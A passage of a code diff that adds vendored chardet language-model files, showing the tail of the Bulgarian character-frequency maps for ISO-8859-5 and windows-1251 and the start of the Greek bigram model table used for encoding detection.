# ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 77, # 'A' + 66: 90, # 'B' + 67: 99, # 'C' + 68: 100, # 'D' + 69: 72, # 'E' + 70: 109, # 'F' + 71: 107, # 'G' + 72: 101, # 'H' + 73: 79, # 'I' + 74: 185, # 'J' + 75: 81, # 'K' + 76: 102, # 'L' + 77: 76, # 'M' + 78: 94, # 'N' + 79: 82, # 'O' + 80: 110, # 'P' + 81: 186, # 'Q' + 82: 108, # 'R' + 83: 91, # 'S' + 84: 74, # 'T' + 85: 119, # 'U' + 86: 84, # 'V' + 87: 96, # 'W' + 88: 111, # 'X' + 89: 187, # 'Y' + 90: 115, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 65, # 'a' + 98: 69, # 'b' + 99: 70, # 'c' + 100: 66, # 'd' + 101: 63, # 'e' + 102: 68, # 'f' + 103: 112, # 'g' + 104: 103, # 'h' + 105: 92, # 'i' + 106: 194, # 'j' + 107: 104, # 'k' + 108: 95, # 'l' + 109: 86, # 'm' + 110: 87, # 'n' + 111: 71, # 'o' + 112: 116, # 'p' + 113: 195, # 'q' + 114: 85, # 'r' + 115: 93, # 's' + 116: 97, # 't' + 117: 113, # 'u' + 118: 196, # 'v' + 119: 197, # 'w' + 120: 198, # 'x' + 121: 199, # 'y' + 122: 200, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 194, # '\x80' + 129: 195, # '\x81' + 130: 196, # '\x82' + 131: 197, # '\x83' + 132: 198, # '\x84' + 133: 199, # '\x85' + 134: 200, # '\x86' + 135: 201, # '\x87' + 136: 202, # '\x88' + 137: 203, # '\x89' + 138: 204, # '\x8a' + 139: 205, # '\x8b' + 140: 206, # '\x8c' + 141: 207, # '\x8d' + 142: 208, # '\x8e' + 143: 209, # '\x8f' + 144: 210, # '\x90' + 145: 211, # '\x91' + 146: 212, # '\x92' + 147: 213, # '\x93' + 148: 214, # '\x94' + 149: 215, # '\x95' + 150: 216, # '\x96' + 151: 217, # '\x97' + 152: 218, # '\x98' + 153: 219, # '\x99' + 154: 220, # '\x9a' + 155: 221, # '\x9b' + 156: 222, # '\x9c' + 157: 223, # '\x9d' + 158: 224, # '\x9e' + 159: 225, # '\x9f' + 160: 81, # '\xa0' + 161: 226, # 'Ё' + 162: 227, # 'Ђ' + 163: 228, # 'Ѓ' + 164: 229, # 'Є' + 165: 230, # 'Ѕ' + 166: 105, # 'І' + 167: 231, # 'Ї' + 168: 232, # 'Ј' + 169: 233, # 'Љ' + 170: 234, # 'Њ' + 171: 235, # 'Ћ' + 172: 236, # 'Ќ' + 173: 45, # '\xad' + 174: 237, # 'Ў' + 175: 238, # 'Џ' + 176: 31, # 'А' + 177: 32, # 'Б' + 178: 35, # 'В' + 179: 43, # 'Г' + 180: 37, # 'Д' + 181: 44, # 'Е' + 182: 55, # 'Ж' + 183: 47, # 'З' + 184: 40, # 'И' + 185: 59, # 'Й' + 186: 33, # 'К' + 187: 46, # 'Л' + 188: 38, # 'М' + 189: 36, # 'Н' + 190: 41, # 'О' + 191: 30, # 'П' + 192: 39, # 'Р' + 193: 28, # 'С' + 194: 34, # 'Т' + 195: 51, # 'У' + 196: 48, # 'Ф' + 197: 49, # 'Х' + 198: 53, # 'Ц' + 199: 50, # 'Ч' + 200: 54, # 'Ш' + 201: 57, # 'Щ' + 202: 61, # 'Ъ' + 203: 239, # 'Ы' + 204: 67, # 'Ь' + 205: 240, # 'Э' + 206: 60, # 'Ю' + 207: 56, # 'Я' + 208: 1, # 'а' + 209: 18, # 'б' + 210: 9, # 'в' + 211: 20, # 'г' + 212: 11, # 'д' + 213: 3, # 'е' + 214: 23, # 'ж' + 215: 15, # 'з' + 216: 2, # 'и' + 217: 26, # 'й' + 218: 12, # 'к' + 219: 10, # 'л' + 220: 14, # 'м' + 221: 6, # 'н' + 222: 4, # 'о' + 223: 13, # 'п' + 224: 7, # 'р' + 225: 8, # 'с' + 226: 5, # 'т' + 227: 19, # 'у' + 228: 29, # 'ф' + 229: 25, # 'х' + 230: 22, # 'ц' + 231: 21, # 'ч' + 232: 27, # 'ш' + 233: 24, # 'щ' + 234: 17, # 'ъ' + 235: 75, # 'ы' + 236: 52, # 'ь' + 237: 241, # 'э' + 238: 42, # 'ю' + 239: 16, # 'я' + 240: 62, # '№' + 241: 242, # 'ё' + 242: 243, # 'ђ' + 243: 244, # 'ѓ' + 244: 58, # 'є' + 245: 245, # 'ѕ' + 246: 98, # 'і' + 247: 246, # 'ї' + 248: 247, # 'ј' + 249: 248, # 'љ' + 250: 249, # 'њ' + 251: 250, # 'ћ' + 252: 251, # 'ќ' + 253: 91, # '§' + 254: 252, # 'ў' + 255: 253, # 'џ' +} + +ISO_8859_5_BULGARIAN_MODEL = SingleByteCharSetModel(charset_name='ISO-8859-5', + language='Bulgarian', + char_to_order_map=ISO_8859_5_BULGARIAN_CHAR_TO_ORDER, + language_model=BULGARIAN_LANG_MODEL, + typical_positive_ratio=0.969392, + keep_ascii_letters=False, + alphabet='АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЬЮЯабвгдежзийклмнопрстуфхцчшщъьюя') + +WINDOWS_1251_BULGARIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 77, # 'A' + 66: 90, # 'B' + 67: 99, # 'C' + 68: 100, # 'D' + 69: 72, # 'E' + 70: 109, # 'F' + 71: 107, # 'G' + 72: 101, # 'H' + 73: 79, # 'I' + 74: 185, # 'J' + 75: 81, # 'K' + 76: 102, # 'L' + 77: 76, # 'M' + 78: 94, # 'N' + 79: 82, # 'O' + 80: 110, # 'P' + 81: 186, # 'Q' + 82: 108, # 'R' + 83: 91, # 'S' + 84: 74, # 'T' + 85: 119, # 'U' + 86: 84, # 'V' + 87: 96, # 'W' + 88: 111, # 'X' + 89: 187, # 'Y' + 90: 115, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 65, # 'a' + 98: 69, # 'b' + 99: 70, # 'c' + 100: 66, # 'd' + 101: 63, # 'e' + 102: 68, # 'f' + 103: 112, # 'g' + 104: 103, # 'h' + 105: 92, # 'i' + 106: 194, # 'j' + 107: 104, # 'k' + 108: 95, # 'l' + 109: 86, # 'm' + 110: 87, # 'n' + 111: 71, # 'o' + 112: 116, # 'p' + 113: 195, # 'q' + 114: 85, # 'r' + 115: 93, # 's' + 116: 97, # 't' + 117: 113, # 'u' + 118: 196, # 'v' + 119: 197, # 'w' + 120: 198, # 'x' + 121: 199, # 'y' + 122: 200, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 206, # 'Ђ' + 129: 207, # 'Ѓ' + 130: 208, # '‚' + 131: 209, # 'ѓ' + 132: 210, # '„' + 133: 211, # '…' + 134: 212, # '†' + 135: 213, # '‡' + 136: 120, # '€' + 137: 214, # '‰' + 138: 215, # 'Љ' + 139: 216, # '‹' + 140: 217, # 'Њ' + 141: 218, # 'Ќ' + 142: 219, # 'Ћ' + 143: 220, # 'Џ' + 144: 221, # 'ђ' + 145: 78, # '‘' + 146: 64, # '’' + 147: 83, # '“' + 148: 121, # '”' + 149: 98, # '•' + 150: 117, # '–' + 151: 105, # '—' + 152: 222, # None + 153: 223, # '™' + 154: 224, # 'љ' + 155: 225, # '›' + 156: 226, # 'њ' + 157: 227, # 'ќ' + 158: 228, # 'ћ' + 159: 229, # 'џ' + 160: 88, # '\xa0' + 161: 230, # 'Ў' + 162: 231, # 'ў' + 163: 232, # 'Ј' + 164: 233, # '¤' + 165: 122, # 'Ґ' + 166: 89, # '¦' + 167: 106, # '§' + 168: 234, # 'Ё' + 169: 235, # '©' + 170: 236, # 'Є' + 171: 237, # '«' + 172: 238, # '¬' + 173: 45, # '\xad' + 174: 239, # '®' + 175: 240, # 'Ї' + 176: 73, # '°' + 177: 80, # '±' + 178: 118, # 'І' + 179: 114, # 'і' + 180: 241, # 'ґ' + 181: 242, # 'µ' + 182: 243, # '¶' + 183: 244, # '·' + 184: 245, # 'ё' + 185: 62, # '№' + 186: 58, # 'є' + 187: 246, # '»' + 188: 247, # 'ј' + 189: 248, # 'Ѕ' + 190: 249, # 'ѕ' + 191: 250, # 'ї' + 192: 31, # 'А' + 193: 32, # 'Б' + 194: 35, # 'В' + 195: 43, # 'Г' + 196: 37, # 'Д' + 197: 44, # 'Е' + 198: 55, # 'Ж' + 199: 47, # 'З' + 200: 40, # 'И' + 201: 59, # 'Й' + 202: 33, # 'К' + 203: 46, # 'Л' + 204: 38, # 'М' + 205: 36, # 'Н' + 206: 41, # 'О' + 207: 30, # 'П' + 208: 39, # 'Р' + 209: 28, # 'С' + 210: 34, # 'Т' + 211: 51, # 'У' + 212: 48, # 'Ф' + 213: 49, # 'Х' + 214: 53, # 'Ц' + 215: 50, # 'Ч' + 216: 54, # 'Ш' + 217: 57, # 'Щ' + 218: 61, # 'Ъ' + 219: 251, # 'Ы' + 220: 67, # 'Ь' + 221: 252, # 'Э' + 222: 60, # 'Ю' + 223: 56, # 'Я' + 224: 1, # 'а' + 225: 18, # 'б' + 226: 9, # 'в' + 227: 20, # 'г' + 228: 11, # 'д' + 229: 3, # 'е' + 230: 23, # 'ж' + 231: 15, # 'з' + 232: 2, # 'и' + 233: 26, # 'й' + 234: 12, # 'к' + 235: 10, # 'л' + 236: 14, # 'м' + 237: 6, # 'н' + 238: 4, # 'о' + 239: 13, # 'п' + 240: 7, # 'р' + 241: 8, # 'с' + 242: 5, # 'т' + 243: 19, # 'у' + 244: 29, # 'ф' + 245: 25, # 'х' + 246: 22, # 'ц' + 247: 21, # 'ч' + 248: 27, # 'ш' + 249: 24, # 'щ' + 250: 17, # 'ъ' + 251: 75, # 'ы' + 252: 52, # 'ь' + 253: 253, # 'э' + 254: 42, # 'ю' + 255: 16, # 'я' +} + +WINDOWS_1251_BULGARIAN_MODEL = SingleByteCharSetModel(charset_name='windows-1251', + language='Bulgarian', + char_to_order_map=WINDOWS_1251_BULGARIAN_CHAR_TO_ORDER, + language_model=BULGARIAN_LANG_MODEL, + typical_positive_ratio=0.969392, + keep_ascii_letters=False, + alphabet='АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЬЮЯабвгдежзийклмнопрстуфхцчшщъьюя') + diff --git a/src/thirdparty/chardet/langgreekmodel.py b/src/thirdparty/chardet/langgreekmodel.py new file mode 100644 index 0000000000..cc35bcc8a2 --- /dev/null +++ b/src/thirdparty/chardet/langgreekmodel.py @@ -0,0 +1,4398 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +GREEK_LANG_MODEL = { + 60: { # 'e' + 60: 2, # 'e' + 55: 1, # 'o' + 58: 2, # 't' + 36: 1, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 1, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 55: { # 'o' + 60: 0, # 'e' + 55: 2, # 'o' + 58: 2, # 't' + 36: 1, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 1, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 1, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 58: { # 't' + 60: 2, # 'e' + 55: 1, # 'o' + 58: 1, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 1, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 36: { # '·' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 0, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 61: { # 'Ά' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 1, # 'γ' + 21: 2, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 1, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 46: { # 'Έ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 2, # 'β' + 20: 2, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 2, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 0, # 'ο' + 9: 2, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 1, # 'σ' + 2: 2, # 'τ' + 12: 0, # 'υ' + 28: 2, # 'φ' + 23: 3, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 54: { # 'Ό' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 0, # 'Θ' + 47: 0, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 0, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 0, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 2, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 2, # 'π' + 8: 0, # 'ρ' + 14: 0, # 'ς' + 7: 2, # 'σ' + 2: 3, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 2, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 31: { # 'Α' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 2, # 'Β' + 43: 2, # 'Γ' + 41: 1, # 'Δ' + 34: 0, # 'Ε' + 40: 0, # 'Η' + 52: 2, # 'Θ' + 47: 2, # 'Ι' + 44: 2, # 'Κ' + 53: 2, # 'Λ' + 38: 2, # 'Μ' + 49: 2, # 'Ν' + 59: 1, # 'Ξ' + 39: 0, # 'Ο' + 35: 2, # 'Π' + 48: 2, # 'Ρ' + 37: 2, # 'Σ' + 33: 2, # 'Τ' + 45: 2, # 'Υ' + 56: 2, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 0, # 'ί' + 1: 0, # 'α' + 29: 0, # 'β' + 20: 2, # 'γ' + 21: 0, # 'δ' + 3: 0, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 1, # 'θ' + 5: 0, # 'ι' + 11: 2, # 'κ' + 16: 3, # 'λ' + 10: 2, # 'μ' + 6: 3, # 'ν' + 30: 2, # 'ξ' + 4: 0, # 'ο' + 9: 3, # 'π' + 8: 3, # 'ρ' + 14: 2, # 'ς' + 7: 2, # 'σ' + 2: 0, # 'τ' + 12: 3, # 'υ' + 28: 2, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 2, # 'ύ' + 27: 0, # 'ώ' + }, + 51: { # 'Β' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 2, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 1, # 'Ε' + 40: 1, # 'Η' + 52: 0, # 'Θ' + 47: 1, # 'Ι' + 44: 0, # 'Κ' + 53: 1, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' + 50: 0, # 'Χ' + 57: 0, # 'Ω' + 17: 2, # 'ά' + 18: 2, # 'έ' + 22: 2, # 'ή' + 15: 0, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 2, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 0, # 'ν' + 30: 0, # 'ξ' + 4: 2, # 'ο' + 9: 0, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 43: { # 'Γ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 1, # 'Α' + 51: 0, # 'Β' + 43: 2, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 1, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 1, # 'Κ' + 53: 1, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 1, # 'Ο' + 35: 0, # 'Π' + 48: 2, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 2, # 'Υ' + 56: 0, # 'Φ' + 50: 1, # 'Χ' + 57: 2, # 'Ω' + 17: 0, # 'ά' + 18: 0, # 'έ' + 22: 0, # 'ή' + 15: 2, # 'ί' + 1: 2, # 'α' + 29: 0, # 'β' + 20: 0, # 'γ' + 21: 0, # 'δ' + 3: 2, # 'ε' + 32: 0, # 'ζ' + 13: 0, # 'η' + 25: 0, # 'θ' + 5: 3, # 'ι' + 11: 0, # 'κ' + 16: 2, # 'λ' + 10: 0, # 'μ' + 6: 2, # 'ν' + 30: 0, # 'ξ' + 4: 0, # 'ο' + 9: 0, # 'π' + 8: 2, # 'ρ' + 14: 0, # 'ς' + 7: 0, # 'σ' + 2: 0, # 'τ' + 12: 0, # 'υ' + 28: 0, # 'φ' + 23: 0, # 'χ' + 42: 0, # 'ψ' + 24: 0, # 'ω' + 19: 0, # 'ό' + 26: 0, # 'ύ' + 27: 0, # 'ώ' + }, + 41: { # 'Δ' + 60: 0, # 'e' + 55: 0, # 'o' + 58: 0, # 't' + 36: 0, # '·' + 61: 0, # 'Ά' + 46: 0, # 'Έ' + 54: 0, # 'Ό' + 31: 0, # 'Α' + 51: 0, # 'Β' + 43: 0, # 'Γ' + 41: 0, # 'Δ' + 34: 2, # 'Ε' + 40: 2, # 'Η' + 52: 0, # 'Θ' + 47: 2, # 'Ι' + 44: 0, # 'Κ' + 53: 0, # 'Λ' + 38: 0, # 'Μ' + 49: 0, # 'Ν' + 59: 0, # 'Ξ' + 39: 2, # 'Ο' + 35: 0, # 'Π' + 48: 0, # 'Ρ' + 37: 0, # 'Σ' + 33: 0, # 'Τ' + 45: 0, # 'Υ' + 56: 0, # 'Φ' 